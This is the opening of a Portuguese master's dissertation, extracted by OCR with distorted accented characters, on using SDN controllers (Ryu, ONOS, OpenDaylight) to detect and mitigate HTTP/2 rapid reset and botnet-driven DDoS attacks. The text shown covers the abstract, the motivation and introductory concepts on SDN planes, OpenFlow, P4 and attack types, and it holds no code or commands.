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Resumo

Esta dissertagdo investiga a mitigagdo de ataques HTTP/2 rapid reset utilizando
mecanismos de Software Defined Networks (SDN). O estudo propde o desen-
volvimento de um ambiente de testes que integra controladores SDN, protocolos
especificos e virtualizagdo através do VMware. O objetivo é avaliar estratégias
de mitigacdo contra ataques rapid reset, explorando a programabilidade e flexibi-
lidade das SDN. A escolha da linguagem Python foi fundamental devido a sua
simplicidade, robustez e ampla ado¢do na comunidade de redes e seguranca ci-
bernética.

A pesquisa detalha o processo de constru¢do do ambiente de testes, que inclui a
configuragdo dos controladores SDN, a simulagdo de dispositivos de rede virtuais
e a integracdo com o VMware para criar um cendrio de rede dinamico e realista.
Diversas estratégias de mitigagdo para o ataque rapid reset foram testadas. Os
resultados indicam que os mecanismos de defesa implementados apresentaram
tempos de mitigacdo baixos, assegurando uma resposta rapida e eficaz a poten-
ciais ataques, sem comprometer a performance do sistema.

Este trabalho contribui significativamente para a drea da seguranca cibernética ao
demonstrar como as caracteristicas tinicas das SDN, como a visibilidade abran-
gente da rede e a capacidade de reprogramacdo dindmica, podem ser utilizadas
para detetar, isolar e neutralizar ameacas de botnets de maneira eficaz. Adicio-
nalmente, todos os scripts desenvolvidos foram disponibilizados no GitHub, fa-
cilitando a utilizagdo e expansdo pela comunidade. As conclusdes desta disserta-
¢do oferecem uma base sélida para futuras pesquisas na aplicagdo de tecnologias
SDN na seguranca de redes.

Palavras-Chave

Botnets, SDN (Redes Definidas por Software): Detecdo, Prevencdo, DDoS, Mitiga-
¢do de Ataques, IDS (Sistema de Dete¢do de Intrusao), IPS (Sistema de Prevencdo
de Intrusao)
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Abstract

This dissertation investigates the mitigation of HTTP /2 rapid reset attacks using
SDN mechanisms. The study proposes the development of a test environment
that integrates SDN controllers, specific protocols, and virtualization through
VMware. The objective is to evaluate mitigation strategies against rapid reset
attacks, leveraging the programmability and flexibility of SDN. The choice of
Python was essential due to its simplicity, robustness, and wide adoption in the
networking and cybersecurity community.

The research details the process of building the test environment, which includes
configuring SDN controllers, simulating virtual network devices, and integrating
with VMware to create a dynamic and realistic network scenario. Various mitiga-
tion strategies for the rapid reset attack were tested, including the analysis of the
effectiveness of different detection and response algorithms. The results indicate
that the implemented defense mechanisms exhibited low mitigation times, en-
suring a quick and effective response to potential attacks without compromising
system performance.

This work significantly contributes to the field of cybersecurity by demonstrating
how the unique characteristics of SDN, such as comprehensive network visibility
and dynamic reprogramming capabilities, can be used to effectively detect, iso-
late, and neutralize botnet threats. Additionally, all developed scripts have been
made available on GitHub, facilitating their use and expansion by the commu-
nity. The conclusions of this dissertation provide a solid foundation for future
research in the application of SDN technologies in network security.

Keywords

Botnets, SDN (Software-Defined Networking), Detection, Prevention, DDoS, At-
tack Mitigation, IDS (Intrusion Detection System), IPS (Intrusion Prevention Sys-
tem)
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Capitulo 1

Introducao

Como sabemos, a sociedade da informacgao permitiu a disseminacdo da informa-
¢do a toda a sociedade através das novas tecnologias. De facto, o acesso a infor-
magao quebrou as barreiras fisicas e temporais, pois tudo passou a estar acessivel
a qualquer hora e a partir de qualquer lugar com apenas um click. A medida
que a sociedade da informagdo foi evoluindo, foram surgindo novos problemas
e desafios nomeadamente no que respeita a seguranca da informacgéo, o que se
traduziu no desenvolvimento de novos mecanismos de defesa de sistemas, redes
e programas.

Uma das formas utilizadas para ter acesso a informacado, de forma maliciosa sado
os ataques através de botnets. Diariamente, somos confrontados com este tipo
de ataques, como tal, tornou-se indispensdvel o desenvolvimento de métodos
avancados de detecdo e prevencdo através da utilizagdo de modelos especificos
de detecéo.

Esta dissertacdo foca-se na detecdo e mitigagdo de ataques cibernéticos, com én-
fase em ataques do tipo HTTP/2 rapid reset, utilizando os mecanismos das SDN.
Através da flexibilidade e controlo oferecidos pelas SDN, pretende-se desenvol-
ver estratégias eficazes para identificar e mitigar ameacas de forma dinamica e
eficiente.

1.1 Motivacao

Tendo por base a inovagdo em tecnologia de redes e da seguranca cibernética, esta
dissertacdo aborda trés elementos cruciais do panorama digital contemporaneo:
as SDN, as botnets e a mitigacdo de ataques especificos, como o HTTP/2 rapid
reset, utilizando a flexibilidade e o controlo centralizado oferecidos pelas SDN. A
relevancia desta investigacdo reside na crescente dependéncia de infraestruturas
de rede robustas e seguras, que sdo fundamentais para o funcionamento eficaz de
inimeros sistemas criticos, desde as comunica¢des empresariais até aos servigos
essenciais de governo e da satde.

As SDN representam um avango significativo na forma como as redes sdo projeta-
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das e operadas, proporcionando uma abordagem programével e centralizada que
promete aumentar a eficiéncia, a adaptabilidade e a escalabilidade das mesmas.
Esta arquitetura inovadora permite uma gestao dinamica do trafego de rede, ndo
s6 a implementacdo de politicas de seguranca sofisticadas, mas também a res-
posta rapida a mudangas nas condi¢des da rede. No entanto, a natureza centra-
lizada das SDN também introduz potenciais vulnerabilidades, tornando assim
essencial a exploracdo de métodos para fortalecer a seguranga contra as ameagas
cibernéticas emergentes.

As botnets, ou seja, as redes de dispositivos comprometidos controlados por ata-
cantes, constituem uma das ameagas mais persistentes e evasivas no ciberespaco.
Capazes de executar uma variedade de ataques maliciosos, incluindo o infame
HTTP/2 rapid reset, que pode desestabilizar as redes pois for¢a o encerramento
prematuro de conexdes, as botnets requerem estratégias de detecdo e mitigagdo
totalmente eficazes. Neste contexto, a natureza distribuida e frequentemente ca-
muflada das botnets exige uma abordagem de seguranca que seja tanto adaptavel
quanto inteligente, caracteristicas inerentes as SDN.

Este estudo é motivado pela necessidade critica de entender como as SDN podem
ser aplicadas ndo apenas para aprimorar a funcionalidade e o desempenho das
redes, mas também como um poderoso instrumento na luta contra as botnets e
na mitigacdo de ataques disruptivos como o HTTP/2 rapid reset. Investigaremos
como as caracteristicas tinicas das SDN, como a visibilidade abrangente da rede
e a capacidade de reprogramacdo dinamica, podem ser utilizadas para detetar,
isolar e neutralizar ameacas de botnets de maneira eficaz, minimizando o impacto
deste tipo de ataques e fortalecendo a resisténcia da rede.

A dissertacdo visa contribuir significativamente para a drea da seguranga ciber-
nética, oferecendo conhecimentos valiosos sobre a intersecdo entre a inovagao
em redes e a defesa contra ameagcas cibernéticas. Ao focar o estudo na aplicagdo
da SDN para combater botnets e mitigar ataques especificos, este trabalho busca
nao apenas avancar o conhecimento académico neste dominio do conhecimento,
mas também fornecer orienta¢des préticas para profissionais da drea, ajudando
a moldar estratégias de seguranca de rede mais eficazes e resilientes para o fu-
turo digital. Adicionalmente, todos os scripts desenvolvidos neste trabalho serao
disponibilizados no GitHub.

1.2 Identificacao do problema

No panorama atual da tecnologia de redes, as SDN representam um avango sig-
nificativo, promovendo uma gestdo de rede mais flexivel, eficiente e centralizada.
Entretanto, a medida que as redes se tornam mais dindmicas e programédveis, elas
também se tornam alvos potenciais para uma variedade crescente de ameagcas
cibernéticas. Entre essas ameagas, as botnets, redes de dispositivos comprome-
tidos controlados remotamente por atacantes, destacam-se pela sua capacidade
de realizar ataques em larga escala, como o ataque HTTP/2 rapid reset[CVE-2023-
44487]. Este ataque, caracterizado pela interrupgdo abrupta dos streams através
do cancelamento massivo, através do uso de frames RST-STREAM, pode causar
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Introdugéo

desestabilizagdo significativa das redes, resultando em interrup¢des de servigo e
comprometimento da integridade e disponibilidade da rede. Assim, o problema
especifico a ser abordado é como utilizar as capacidades intrinsecas das SDN
para desenvolver e implementar estratégias eficazes de mitigacdo contra ataques
HTTP/2 rapid reset. A questdo central envolve a identificagdo de métodos para de-
tetar e responder a esses ataques em tempo real, minimizando o impacto na rede
e mantendo a continuidade e a qualidade dos servicos. Além disso, e tentando ir
um pouco mais além, o desafio inclui a necessidade de manter a flexibilidade e
a adaptabilidade das SDN, garantindo ao mesmo tempo a seguranga eficiente da
rede contra ameacas cibernéticas avancadas.

Este problema ¢é de particular relevancia no contexto de infraestruturas criticas,
como as da satde que lidam com questdes de vida e de morte e das redes em-
presariais, onde a estabilidade e a seguranga da rede sdo fundamentais para a
operagdo didria e a continuidade dos negdcios. Assim, a identificacdo e a miti-
gacdo eficaz de ataques HTTP/2 rapid reset em ambientes SDN representam uma
contribuicdo significativa para o campo da seguranga cibernética e da tecnologia
de redes, abordando um assunto pouco desenvolvido na literatura atual e forne-
cendo solugdes praticas para a sua mitigagao.

1.3 Contribuic¢ao

Este estudo visa contribuir para a drea da seguranca cibernética, oferecendo in-
sights valiosos sobre a aplicacdo da SDN na detegdo e mitigacdo de botnets e ata-
ques especificos. Ao investigar as caracteristicas tinicas das SDN, como a visibili-
dade abrangente da rede e a capacidade de reprogramacado dinamica, este traba-
lho busca ndo apenas avangar o conhecimento académico, mas também fornecer
orientagdes praticas para profissionais da drea. Adicionalmente, o cédigo de-
senvolvido sera disponibilizado em cédigo aberto no GitHub, facilitando a sua
utilizagdo e expansdo pela comunidade. A dissertagdo também inclui a imple-
mentacdo de uma framework com validagdo de medidas de mitigacdo para este
tipo de ataques.

1.4 Estrutura

Esta dissertagdo encontra-se organizada sob a forma de 9 capitulos, partindo
de um nivel de contexto mais amplo dedicado a introducdo de tecnologias e
conceitos-chave e caminhando progressivamente para os detalhes técnicos de
concecdo, implementagdo e validacdo das solugdes propostas, cobrindo ainda as
questdes metodoldgicas e da organiza¢do do plano de trabalhos. Assim sendo, a
estrutura adotada contempla os seguintes capitulos:

1. Introducao:

Neste capitulo é estabelecido o contexto da dissertagdo, partindo da moti-
vagdo por trds do estudo, destacando-se a sua relevancia e a necessidade de

3
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realizar pesquisas sobre detecdo e prevencdo de botnets em SDN, é identifi-
cado o problema especifico que vai ser abordado. Nesta fase inicial também
é apresentada a estrutura geral da investigacdo, pautada por um fio condu-
tor: a originalidade da proposta apresentada para prevenir e/ou mitigar os
ataques botnets.

2. Conceitos: Nesta capitulo, sdo introduzidos os conceitos fundamentais ne-
cessarios para entender a dissertagdo. Para tal, é apresentada uma explica-
¢do detalhada sobre SDN incluindo a sua defini¢do, vantagens, e tecnolo-
gias relacionadas como o openflow e o Programming Protocol-independent
Packet Processors (P4-int). Também sado discutidos os controladores de rede,
com principal relevancia em ONOS, OpenDaylight (ODL) ou Ryu. O con-
ceito de botnets é explorado pormenorizadamente, bem como a sua estru-
tura, sdo ainda apresentados e os ataques Distributed Denial-of-Service At-
tack (DDoS) e HTTP/2 rapid reset, incluindo a mecénica desses ataques e
projecdes sobre seu desenvolvimento futuro.

3. Estado da arte: Neste novo capitulo, é feita uma analise aprofundada do co-
nhecimento e das pesquisas existentes relacionadas com o tema escolhido.
Neste ponto, descreve-se a estratégia de pesquisa adotada, incluindo a sele-
¢do de palavras-chave, critérios de inclusdo e exclusdo, e o impacto dessas
escolhas na revisdo bibliografica. Além disso, é apresentada uma revisao
abrangente da literatura existente, analisando-se tanto mecanismos de ata-
que quanto estratégias de defesa e mitigagdo. Sdo ainda apresentadas pro-
postas e discutidos alguns dos resultados obtidos na literatura.

4. Metodologia e planeamento: Este capitulo desenvolve-se tendo por base a
abordagem metodolégica adotada para a pesquisa e o planeamento da dis-
sertacdo. Neste ponto, descreve-se um caso de estudo especifico, propondo
uma abordagem para mitigacdo do ataque HTTP/2 rapid reset. A metodolo-
gia de Design Science Research (DSR) é explicada como o método escolhido
para direcionar a pesquisa.

5. Implementagdo do ambiente de testes: O objetivo principal deste capitulo
é estabelecer uma estrutura robusta que garanta niveis elevados de segu-
ranga e resiliéncia na rede. Através da andlise em tempo real e da gestdo
adaptativa de ameacas, o sistema desenvolvido visa ser uma ferramenta
essencial na luta contra ameagas cibernéticas. Este proporcionard um am-
biente seguro para operagdes de rede, capaz de identificar, mitigar e res-
ponder rapidamente a ataques, assegurando a integridade e a continuidade
dos servicos de rede. A implementacdo inclui a integracdo de tecnologia de
monitorizagdo, detecdo de intrusdes e respostas automatizadas a inciden-
tes, tudo com o propésito de criar uma defesa pro-ativa e dindmica contra
ciberameacas.

6. Simulacdo do ataque: Este capitulo descreve os tipos de testes realizados
para detetar e mitigar ataques no sistema de seguranca de rede, bem como
a eficdcia das metodologias implementadas. Os testes foram conduzidos
com o objetivo de validar a robustez e a eficiéncia do sistema em identificar
e neutralizar ameacas cibernéticas.

4



Introdugéo

7. Andlise dos tempos de execucdo dos mecanismos de defesa: Neste capi-
tulo, realizamos uma anadlise detalhada dos tempos de execucdo dos diver-
sos mecanismos de defesa implementados no nosso sistema de seguranca.
Os dados recolhidos registam o tempo de execucgdo de cada tipo de meca-
nismo de defesa em resposta a eventos especificos na rede. Compreender
esses tempos de execucdo é crucial para avaliar o desempenho e a eficiéncia
das nossas estratégias de defesa. Esta andlise permite identificar possiveis
congestionamentos e dreas de melhoria, assegurando que o sistema possa
responder de maneira eficaz e oportuna a ameagas cibernéticas, garantindo
a integridade e a resiliéncia da rede.

8. Conclusdo: Por fim sdo apresentadas as principais descobertas, contribui-
¢oes e implicacdes da pesquisa. Neste ponto é feita uma reflexdo sobre os
objetivos alcangados e discute-se possiveis dire¢des para pesquisas futuras.






Capitulo 2

Conceitos

2.1 Redes definidas por software

Neste capitulo, abordaremos dois topicos fundamentais e interligados no mundo
da tecnologia de redes: SDN e botnets. Enquanto as SDN representam uma abor-
dagem inovadora e eficiente na gestdo de redes, as botnets sio uma forma de
ameaga cibernética que se tornou cada vez mais presente e relevante na era digi-
tal.

Este capitulo visa fornecer uma compreensdo detalhada dos conceitos da SDN, as
suas vantagens e tecnologias associadas, bem como uma visdo geral das botnets,
destacando a importancia da seguranca em redes definidas por software.

2.1.1 Definicao de rede definidas por software

A Rede Definida por Software (SDN) representa um avango significativo na forma
como as redes de computadores sdo geridas e operadas. Na realidade, ao disso-
ciar a camada de controlo da camada aplicacional, a SDN como podemos visu-
alizar na Figura 2.1, oferece um modelo de gestdo de rede mais flexivel, agil e
inovador [Soma, 2019].

* A camada aplicacional, também conhecida como data plane, é responsavel
pela rececdo e transmissdo de pacotes na rede. E composto por portas e uma
tabela de encaminhamento (forwarding table), que é, tal como o nome indica,
consultada para encaminhar os pacotes recebidos. O encaminhamento é
feito com base no cabecalho do pacote e numa correspondéncia na tabela.
Dependendo do caso, o pacote é encaminhado diretamente pelo plano de
dados ou é encaminhado para o plano de controlo.

* A camada de controlo, também conhecido como control plane, é responsa-
vel por manter a tabela de encaminhamento atualizada, de forma a que o
plano de controlo encaminhe o maior tréfego possivel. Processa os diferen-
tes protocolos existentes para manter a tabela atualizada e, assim, é capaz
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de ter nogdo da topologia da rede. Os exemplos de protocolos neste plano
incluem o Spanning Tree Protocol (STP) e o Open Shortest Path First (OSPF).
Na SDN, o plano de controlo é centralizado e externo ao dominio do switch,
0 que permite uma maior flexibilidade e controlo na rede.

¢ Camada de infraestrutura, também conhecido como management plane, é a
interface do switch com o controlador da rede, permitindo que os controla-
dores configurem e monitorizem as estatisticas do switch. Este é capaz de
alterar o estado dos outros dois planos anteriormente apresentados (con-
trolo e aplicacional). Neste plano, os protocolos mais exemplificativos in-
cluem o Simple Network Management Protocol (SNMP), usado para gerir
e monitorizar dispositivos de rede [Soma, 2019].

Camada Aplicacional

APP | APP 2 APP 3

Camada de Controlo

|¢

Controlador RYU ou Controlador Opendaylight

OpenFlow Q P4-INT

Camada de infraestrutura

Dispositivo de rede | Dispositivo de rede 2

Figura 2.1: Diagrama SDN

2.1.2 Vantagens e desvantagens da SDN

Entre os beneficios mais visiveis da SDN estdo a reducdo de custos, a maior fle-
xibilidade e escalabilidade, e a gestdo simplificada. Além disso, a SDN é til
na construgdo de nuvens privadas, publicas e hibridas, aumentando a agilidade
no desenvolvimento e oferta de aplica¢des, adaptando-se melhor as necessidades
dos negocios.

A SDN possibilita a criagdo de interfaces de rede através de um sistema de con-
trolo que permite ao software monitorizar, definir e alterar a comutacdo da rede.
Esses controladores da SDN funcionam como sistemas operacionais de redes de
computadores, agindo como ponte entre as aplica¢cdes e o hardware, possibili-
tando a criacdo de aplica¢Oes personalizadas para cada rede especifica, como tal,
o uso da SDN traz vantagens competitivas significativas. Na verdade, as infor-
magdes mais recentes sobre este tema indicam que a maioria das empresas que
utilizam SDN ou Network Functions Virtualization (NFV) afirmam obter vanta-
gens competitivas.

Além disso, a tecnologia SDN é vista como um impulsionador para a evolugao
da computagdo em nuvem, auxiliando na criagdo de aplica¢gdes na nuvem e na
reducdo dos custos de rede, uma vez que elimina a necessidade de hardware es-
pecifico e caro, permitindo que os custos sejam proporcionais ao consumo. [Tele-
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com, 2018] A SDN ajuda, por isso, a melhorar a qualidade dos servigos e produtos
oferecidos, gerando lucros a longo prazo[Group, 2018].

As principais vantagens da SDN s&o:

1. Flexibilidade: ao centralizar o controlo da rede, a SDN permite uma pro-
gramacao e gestdo mais flexiveis. Ou seja, a rede pode ser adaptada de
forma rédpida e eficaz para atender a requisitos especificos, como o escalo-
namento para lidar com aumentos de trafego ou a mudanga de politicas de
seguranca.

2. Agilidade: a centralizacdo do controlo também torna as redes SDN extre-
mamente dgeis. Mudangas que anteriormente exigiriam reconfiguragdes
manuais em vérios dispositivos agora podem ser implementadas rapida-
mente através do controlador. Esta caracteristica é particularmente valiosa
em ambientes que exigem respostas rdpidas a mudancgas nas condigdes de
rede ou demandas das aplicagdes.

3. Inovagdo: a capacidade de programar e personalizar o comportamento da
rede abre novas possibilidades para a inovagdo. Esta qualidade pode in-
cluir a criacdo de novos servicos de rede, o desenvolvimento de solucoes
personalizadas para desafios especificos de negocios, ou até mesmo a ex-
perimentagdo com novos protocolos de rede, tecnologias emergentes ou até
conceitos inovadores, como é o caso dos Data Diodes [de Freitas et al., 2019].

4. Automacdo: a automagdo é uma das maiores vantagens da SDN. Tarefas
repetitivas ou complexas de gestdo de rede, como a configuracdo de rotea-
mento ou a aplicacdo de politicas de seguranca, podem ser automatizadas.
Esta capacidade economiza tempo, reduz a carga de trabalho dos adminis-
tradores de rede, e minimiza o risco de erros humanos.

5. Implementagdo de politicas de rede: a l6gica de controlo centralizada da
SDN facilita a implementagdo uniforme de politicas de rede em toda a in-
fraestrutura, ou seja, garante que todas as partes da rede estejam alinhadas
com as diretrizes de seguranca, desempenho e conformidade da organiza-
cao.

Desvantagens e desafios associados as SDN, especialmente em relagdo a segu-
ranca:

1. Suscetibilidade a Ataques centralizados: devido a natureza centralizada do
controlo em redes SDN, estas podem ser particularmente vulneraveis a ata-
ques que visam o controlador SDN. Como tal, se um atacante conseguir
comprometer o controlador, ele poderd potencialmente ganhar controlo so-
bre toda a rede.

2. Superficie de ataque ampliada: a separacdo do plano de controlo do plano
de dados e a introdugdo de APIs para gestdo e comunicacdo aumentam a
superficie de ataque, oferecendo mais pontos de entrada para possiveis ata-
ques.
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3. Complexidade de gestdo: a flexibilidade e a capacidade de programacéao
das SDN também introduzem complexidade no gestdo da rede. Configura-
¢Oes incorretas ou politicas de seguranca inadequadas podem inadvertida-
mente expor a rede a riscos adicionais.

4. Desafios de interoperabilidade: integrar solu¢des SDN em ambientes de
rede existentes pode apresentar desafios de interoperabilidade com hard-
ware e software ultrapassado, o que pode limitar a eficicia e a seguranca da
implementac¢do das SDN.

5. Dependéncia de software: como as SDN dependem fortemente de software
para gestdo de rede e controlo de trafego, sdo suscetiveis a vulnerabilidades
de software, como bugs ou software desatualizado, que podem ser explora-
das por atacantes.

6. Desafios de escalabilidade: embora as SDN promovam a escalabilidade, ge-
rir e manter o desempenho e a seguranga em redes de grande escala podem
ser tarefas desafiadoras, exigindo recursos adicionais e estratégias de gestdo
complexas.

Em suma, a SDN transforma a gestdo de redes de uma operacdo baseada em
hardware para uma operagdo centrada em software, trazendo uma maior adap-
tabilidade e eficiéncia. Estando o digital em constante evolucdo, a escolha desta
abordagem responde, ndo s6 as necessidades atuais de ambientes de rede dina-
micos, mas também estabelece uma base sélida para futuras inova¢des no campo
das redes de computadores [Sanjeetha et al., 2022].

2.2 Protocolos SDN

2.2.1 OpenFlow

O OpenFlow foi um dos primeiros protocolos de comunicagdo a ser adotado para
SDN e é amplamente usado para implementar o conceito de separacdo entre o
plano de controlo e o plano de dados. Principais carateristicas [Pereira et al.,
2019]:

¢ Funcionalidade: permite que o controlador SDN interaja com o plano de
encaminhamento (data plane), definindo regras de fluxo e comportamento
de encaminhamento através de uma interface padronizada.

* Evolucdo independente: facilita a atualizacdo e o desenvolvimento do plano
de controlo sem a necessidade de alterar o hardware, permitindo a gestdo
unificada de dispositivos de rede de diferentes fabricantes.

¢ Limitagdes: tende a ser mais restrito em termos de programacao do que P4-
int, pois trabalha com um conjunto fixo de campos de cabecalho e tipos de
pacotes passiveis de manipulagéo.
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2.2.2 P4-INT

O P4-int é um protocolo de programacao que permite especificar como os pacotes
sdo processados no plano de dados, de maneira altamente flexivel e independente
de protocolos. Principais carateristicas:

* Funcionalidade: com o P4-int, é possivel definir cabecalhos personalizados
e especificar a 16gica de encaminhamento de pacotes de maneira muito gra-
nular e dindmica.

¢ Independéncia de protocolo: o P4-int ndo estd vinculado a protocolos espe-
cificos, permitindo que os programadores inovem e criem novos protocolos
de rede conforme as suas necessidades.

¢ Capacidade de programacéo: os dispositivos podem ser reprogramados em
campo para suportar novos cabecalhos e tipos de pacotes, o que nédo é pos-
sivel no OpenFlow.

¢ Controlo de propriedade intelectual: o P4-int oferece aos utilizadores a pos-
sibilidade de manter o controlo sobre seus algoritmos e inovag¢des sem de-
pender dos fabricantes de equipamentos de rede.

¢ Inovagdo: este protocolo permite que os controladores de rede tenham uma
capacidade sem precedentes para inovar no plano de dados, desde a criacdo
de novos protocolos até a otimizacdo do processamento de pacotes para
aplicagoes especificas.

Ao comparar estes dois protocolos em relacdo as abordagens para o processa-
mento de pacotes em SDN verificamos que o OpenFlow é caracterizado por um
modelo de processamento baseado em tabelas com campos pré-definidos, ofere-
cendo uma estrutura mais rigida, mas bem estabelecida para a configuracdo de
dispositivos de rede. Por seu lado, o P4-int apresenta uma abordagem mais flexi-
vel e programavel, permitindo a defini¢do personalizada de cabegalhos de paco-
tes e 0 comportamento de processamento, o que facilita a inovagdo e a adaptagdo
a requisitos especificos de rede. Essa flexibilidade do P4-int torna-o particular-
mente adequado para ambientes de pesquisa e desenvolvimento que exigem a
implementacdo de protocolos novos ou experimentais. Em relacdo ao controlo,
ambos os protocolos aumentam o controlo da rede sobre os seus sistemas, mas o
P4-int oferece um nivel de controlo ainda mais profundo e flexivel sobre o com-
portamento do plano de dados [Hu et al., 2014].

2.3 Sistemas operacionais de rede (controladores)

O Open Network Operating System (ONOS), ODL e Ryu sdo os mais populares
e avangados projetos de Sistemas operacionais de rede (NOS) de c6digo aberto
disponiveis, todos tém como objetivo fornecer alta escalabilidade, fiabilidade e
extensibilidade [Yoon et al., 2017].

11



Capitulo 2
2.3.1 Ryu

Ryu é um controlador SDN baseado em Python que desempenha um papel cru-
cial na melhoria da adaptabilidade da rede ao moldar de forma transparente a
gestdo do trafego. Funciona como o "cérebro"do sistema SDN, transmitindo in-
formacdo e dando instrugdes para adaptar o trafego nos switchs e routers através
de APIs. O Ryu é utilizado para obter estatisticas de captura de tréfego criados
a partir de arquivos pcap, o que o torna essencial para a detecdo e mitigagdo de
ataques de botnet dentro de um ambiente SDN [Sanjeetha et al., 2022]. Este con-
trolodor é certificado para trabalhar com uma variedade de dispositivos de en-
caminhamento baseados em OpenFlow, destacando-se pela sua adaptabilidade e
facilidade de utilizagdo na orquestracdo de redes inteligentes [Uddin and Monir,
2020].

2.3.2 ONOS (Open Network Operating System)

O ONOS é um sistema operacional de rede de c6digo aberto, projetado especi-
ficamente para redes SDN. Este sistema foi desenvolvido e mantido pela Open
Networking Foundation (ONF), disponibilizando o controlo centralizado sobre a
rede e os seus dispositivos.

Este solucdo utiliza o framework Open Services Gateway initiative (OSGi) e for-
nece uma arquitetura modular que suporta o desenvolvimento de plugins. Além
disso, apresenta vdrias caracteristicas tinicas, como escalabilidade dindmica, to-
lerancia a falhas e alta disponibilidade, por isso, é adequado para redes de pro-
vedores de servicos, data centers e redes empresariais de grande dimensdo, como
a Huawei e Nokia.

Em suma, este sistema oferece varias funcionalidades de seguranca para garantir
a estabilidade e a postura de seguranca das redes. Uma dessas funcionalidades
é a extensdo do modo de segurancga, que impde politicas de seguranga para cada
aplicacdo. O subsistema de seguranca garante que quaisquer tentativas de uso
que ndo tenham sido explicitamente planeadas e autorizadas pelo utilizador se-
jam negadas. A extensdo do modo de seguranga visa garantir que o controlador
ONOS analisa a politica antes da ativagdo, ou seja que verifica a autorizacdo as-
sociando a aplicagdo a politica durante a execugdo [Yoon et al., 2017].

2.3.3 OpenDaylight (ODL)

ODL ¢é um controlador SDN modular de cédigo aberto baseado em Java, que
permite criar fungdes e servigos de rede de forma modular e flexivel. E apoiado
por uma grande comunidade com mais de 600 profissionais e programadores,
como tal, é considerado um dos controladores mais importantes e populares da
paisagem SDN.

As vantagens do ODL incluem uma arquitetura modular e conetavel, o que per-
mite construi-lo a partir de uma variedade de componentes de forma flexivel e
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personalizdvel, ou seja, adequada as necessidades de cada utilizador. O ODL
usa uma abordagem programadtica centralizada, o que permite um alto nivel de
controlo sobre a infraestrutura de rede e um alto desempenho do controlador.
Além disso, a sua API baseada em JSON abstrai a complexidade subjacente das
tecnologias de rede, facilitando o uso por parte do utilizador.(ver Figura 2.2)

Uma das principais limitagdes do ODL é a centralizagdo do plano de controlo,
que, como mencionado anteriormente, pode ser explorada por utilizadores mal-
intencionados em ataques DDoS com alvo no controlador. Além disso, o ODL
tem menor desempenho quando comparado com outros controladores por ser
tao personalizavel e facil de programar.

Apesar das desvantagens, o ODL é uma plataforma importante para a utiliza-
¢do em SDN, pela sua arquitetura modular, pela ampla gama de recursos e pela
grande comunidade de programadores, que garantem a constante evolugdo das
funcionalidades. Na verdade, em diferentes testes, o ODL apresentou lideranca
em termos de aproveitamento de largura de banda, no entanto também registou
algumas desvantagens em relacdo a outros controladores em termos de robustez
e perda de pacotes. [Tran et al., 2018] [Uddin and Monir, 2020]

SDN Controller

Attacker System Network Benign Users

Figura 2.2: OpenDayLight Architecture
[Tran et al., 2018]
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2.4 Botnets

Botnets sdo redes de computadores infetados por malware e controlados remota-
mente por cibercriminosos. Neste caso, os computadores, também chamados de
bots, sdo usados para executar ataques coordenados ou outras atividades malici-
osas [kaspersky, 2018].

Esta definigao resulta da combinacdo das palavras "robot"e "network", indicando
uma rede de "robots"controlados remotamente. Estes cibercriminosos usam bot-
nets para executar uma variedade de atividades mal-intencionadas, como ataques
DDoS, fraudes de antincios, propagagdo de malware, roubo de identidade e dis-
seminagdo de spam. O tamanho da botnet pode variar significativamente, indo
de centenas a milhdes de dispositivos infetados. Tal como mencionado, a infegao
dos dispositivos para formar uma botnet ocorre por meio de diversas técnicas,
incluindo phishing, exploragdo de vulnerabilidades e instalagdo de malware por
downloads maliciosos. A sofisticacdo desses métodos torna a detegdo e preven-
¢do um desafio constante para os especialistas em seguranca cibernética.

Tal como anteriormente mencionado, as botnets normalmente tém origem numa
infecdo por malware, como por exemplo o cavalo de Troia, que se espalha para
outros dispositivos ligados. A infe¢do pode ocorrer por meio de e-mails malici-
osos, downloads ilegais ou clicando em links suspeitos. Para prevenir infe¢Ges
por botnets, é crucial manter o sistema operacional e o software antimalware atu-
alizados, evitar clicar em links ou abrir anexos suspeitos em e-mails, e realizar
downloads apenas de fontes confidveis.

Em redes SDN, onde a configuragdo e o controlo da rede sdo centralizados e pro-
gramaveis, botnets exploraram as vulnerabilidades para controlar dispositivos ou
realizar ataques. Neste contexto, torna-se essencial a implementacdo de solugdes
de seguranca robustas e sistemas de monitorizacdo para identificar e mitigar es-
sas ameacas. A detecdo eficaz de botnets em redes SDN requer ferramentas de
seguranga que possam identificar trafego anormal e comportamentos suspeitos,
permitindo uma répida resposta a incidentes de seguranca.

Estes ataques podem afetar significativamente o desempenho e a disponibilidade
da rede, além de comprometer a seguranga dos dados. Os efeitos de botnets po-
dem ser extensos, afetando tanto individuos quanto organizagdes|[Gatefy, 2021]
[kaspersky, 2018].

A estrutura de uma botnet é complexa e frequentemente envolve uma comuni-
cacao descentralizada entre bots e o controlador, também chamado de botmaster.
Canais como IRC ou redes peer-to-peer sdo comuns para este tipo de comunicacao,
pois proporcionam um ambiente indetetdvel para os atacantes. Além disso, téc-
nicas de polimorfismo e persisténcia sdo usadas para evitar dete¢des e garantir a
eficicia e longevidade da botnet [Gatefy, 2021] [kaspersky, 2018].
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2.5 Ataques

Num momento inicial destas violag¢des, o atacante compromete uma série de dis-
positivos através de malware para criar uma botnet. Esses dispositivos podem
incluir computadores pessoais, routers, cdimaras de seguranca e outros disposi-
tivos conectados a internet (Internet of Things (IoT)). Uma vez que a botnet esta
estabelecida, cada dispositivo comprometido é usado para enviar solicitagdes ao
servidor, aplicagdo ou rede alvo, de forma coordenada e em grande volume. O
volume macico de trafego gerado pela botnet excede a capacidade do alvo de pro-
cessar solicitagdes legitimas. Como resultado, o alvo torna-se lento ou completa-
mente inacessivel para os utilizadores legitimos. Os ataques DDoS podem variar
em complexidade, desde solicitagdes simples de conexdo até métodos mais sofis-
ticados que exploram vulnerabilidades especificas no alvo [Cloudflare, 2022].

A medida que sdo desenvolvidos novos mecanismos de defesa de sistemas, redes

e programas, surgem novas formas de ataque, tais como:

1. Amplificacdo de DTLS: os ataques de amplificagdo exploram protocolos
vulnerdveis para aumentar o volume de trafego direcionado ao alvo. No
caso do Datagram Transport Layer Security (DTLS), os atacantes podem
provocar respostas maiores do que a solicitagdo original, resultando num
ataque mais potente (ver Figura 2.3).

Invasor

@ FHETETET |
| | | I I I | | | | | s“ ; Vftima.visada )
Bot /n\ ‘

§ & mm—— L&

Figura 2.3: Amplificagdo de DTLS
[Cloudflare, 2022]

2. Ataques no Protocolo QOTD: o Quote of the Day (QOTD) é um protocolo
menos conhecido que pode ser explorado para ataques de reflexdo/ am-
plificagdo, devido a sua natureza de resposta automatica a solicitagdes de
entrada (ver Figura 2.4).

